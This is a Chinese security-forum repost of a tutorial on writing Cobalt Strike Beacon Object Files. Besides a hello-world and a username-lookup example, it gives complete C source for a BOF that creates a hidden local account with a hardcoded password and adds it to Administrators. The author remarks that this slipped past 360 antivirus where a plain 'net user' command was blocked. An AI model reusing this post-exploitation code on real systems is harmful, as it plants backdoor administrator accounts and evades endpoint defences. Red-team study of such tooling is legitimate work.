安全矩阵

 找回密码
 立即注册
搜索
查看: 905|回复: 0

CS Bof 基础学习

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-12-8 22:21:56 | 显示全部楼层 |阅读模式
relaySec Relay学安全 2023-11-28 19:01 发表于陕西

CS BOF是什么?

Beacon 对象文件 (BOF) 是一个已编译的 C 程序,按照约定编写,允许其在 Beacon 进程内执行并使用内部 Beacon API。BOF 是一种通过新的利用后功能快速扩展 Beacon 代理的方法。

BOF 的占地面积较小。它们在 Beacon 进程内部运行,并且可以使用进程注入块中的可延展的 c2 配置文件来控制内存。

如何开发BOF?
下段代码是官方给出的代码:

  1. #include <windows.h>
  2. #include“beacon.h”
  3. void go(char * args, int alen) {
  4.   BeaconPrintf(CALLBACK_OUTPUT, "Hello World: %s", args);
  5. }
复制代码


这里的beacon.h头文件的下载地址如下:
https://hstechdocs.helpsystems.c ... ttachments/beacon.h
这里可以使用 Visual Studio 进行编译也可以使用MinGW进行编译。
VS编译如下:

  1. cl.exe /c /GS- hello.c /Fo hello.obj
复制代码


但是这里需要注意一个问题,这样编译的话可能会报错,不包括路径集等等。
这里需要将这几个目录加入到系统变量中,系统变量名为:INCLUDE 参考:
https://blog.csdn.net/weixin_41115751/article/details/89817123


在BOF中我们是可以通过GetProcAddress,LoadLibraryA,GetModuleHandle 来调用我们想要的windows API。

例如我们可以将添加用户的代码放到go函数中。

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include "bofdefs.h"

  4. #pragma region error_handling
  5. #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
  6. BOOL _print_error(char* func, int line,  char* msg, HRESULT hr) {
  7. #ifdef BOF
  8.   //BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line,  msg, hr);
  9.   BeaconPrintf(CALLBACK_OUTPUT,"Hello world");
  10. #else
  11.   printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
  12. #endif // BOF

  13.   return FALSE;
  14. }
  15. #pragma endregion



  16. typedef DWORD NET_API_STATUS;

  17. DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
  18. DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);

  19. #include <LM.h>

  20. #ifdef BOF
  21. void go(char* buff, int len) {
  22.   USER_INFO_1 UserInfo;
  23.   DWORD dwLevel = 1;
  24.   DWORD dwError = 0;

  25.   UserInfo.usri1_name = (TCHAR*)L"test123";            // 账户   
  26.   UserInfo.usri1_password = (TCHAR*)L"Test@#123";      // 密码
  27.   UserInfo.usri1_priv = USER_PRIV_USER;
  28.   UserInfo.usri1_home_dir = NULL;
  29.   UserInfo.usri1_comment = NULL;
  30.   UserInfo.usri1_flags = UF_SCRIPT;
  31.   UserInfo.usri1_script_path = NULL;

  32.   NET_API_STATUS nStatus;

  33.   nStatus = NETAPI32$NetUserAdd(
  34.     NULL,
  35.     dwLevel,
  36.     (LPBYTE)&UserInfo,
  37.     &dwError
  38.   );
  39.   if (nStatus == NERR_Success) {
  40.   BeaconPrintf(CALLBACK_OUTPUT, "添加成功", NULL);
  41.     }
  42.     else {
  43.         BeaconPrintf(CALLBACK_OUTPUT, "添加失败 %d", nStatus);
  44.     }

  45.   LOCALGROUP_MEMBERS_INFO_3 account;
  46.   account.lgrmi3_domainandname = UserInfo.usri1_name;

  47.   NET_API_STATUS aStatus;

  48.   aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
  49.   if (aStatus == NERR_Success) {
  50.     BeaconPrintf(CALLBACK_OUTPUT, "User has been successfully added to Administrators", NULL);
  51.   }
  52.   else {
  53.     BeaconPrintf(CALLBACK_OUTPUT, "User added to Administrators error ", NULL);
  54.   }
  55.   
  56. }
  57. #else

  58. void main(int argc, char* argv[]) {
  59.   
  60. }

  61. #endif
复制代码


如下图使用inline-execute调用即可。


如下图直接使用net user去添加账户:

这里卡住了,来看下win10机器显示。





可以发现是不行的,我们用BOF执行。

可以发现已经添加成功了,360没有任何反应。



动态函数
除了直接调用windows API之外,我们也可以使用动态函数来进行解析。

动态函数解析就是将Win32 API的声明和调用变成如下格式:

  1. NETAPI32$NetUserAdd
  2. 左边是DLL右边是函数名
复制代码


环境准备
  1. 操作系统:windows10
  2. 编译器:VS
复制代码



这里我们使用的是BOF开发模板是:
https://github.com/securifybv/Visual-Studio-BOF-template

环境搭建
首先从github上下载下来之后,然后放到VS的模板目录。
如下图:



放到这里之后打开VS,可以看到已经有这个模板了。


点击创建。

但是这里创建出来的文件是Source.cpp,也就是C++的文件。



这里我们将这个文件复制出来然后改成C文件。


然后点击生成->批生成


勾选前两个即可。


然后生成即可。




如上图就生成成功了。

入口
其实go函数就是BOF的入口,当你在CS上执行inline-execute命令的时候,就会调用go函数。
所以我们可以将win32相关API写到go函数中。
如下例子获取当前用户名:

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include "bofdefs.h"

  4. #pragma region error_handling
  5. #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
  6. BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
  7. #ifdef BOF
  8.   //BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line,  msg, hr);
  9.   BeaconPrintf(CALLBACK_OUTPUT, "Hello world");
  10. #else
  11.   printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
  12. #endif // BOF

  13.   return FALSE;
  14. }
  15. #pragma endregion

  16. DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);

  17. #include <LM.h>

  18. #ifdef BOF
  19. void go(char* buff, int len) {

  20.   char username[1024];
  21.   DWORD usernameLength = sizeof username;
  22.   ADVAPI32$GetUserNameA(username, &usernameLength);
  23.   BeaconPrintf(CALLBACK_OUTPUT, "当前用户名为:%s", username);
  24. }
  25. #else

  26. void main(int argc, char* argv[]) {

  27. }

  28. #endif
复制代码




按照我的理解的话其实就是将win32 API转换成如下格式正常调用即可。
  1. DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
复制代码


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:24 , Processed in 0.012835 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表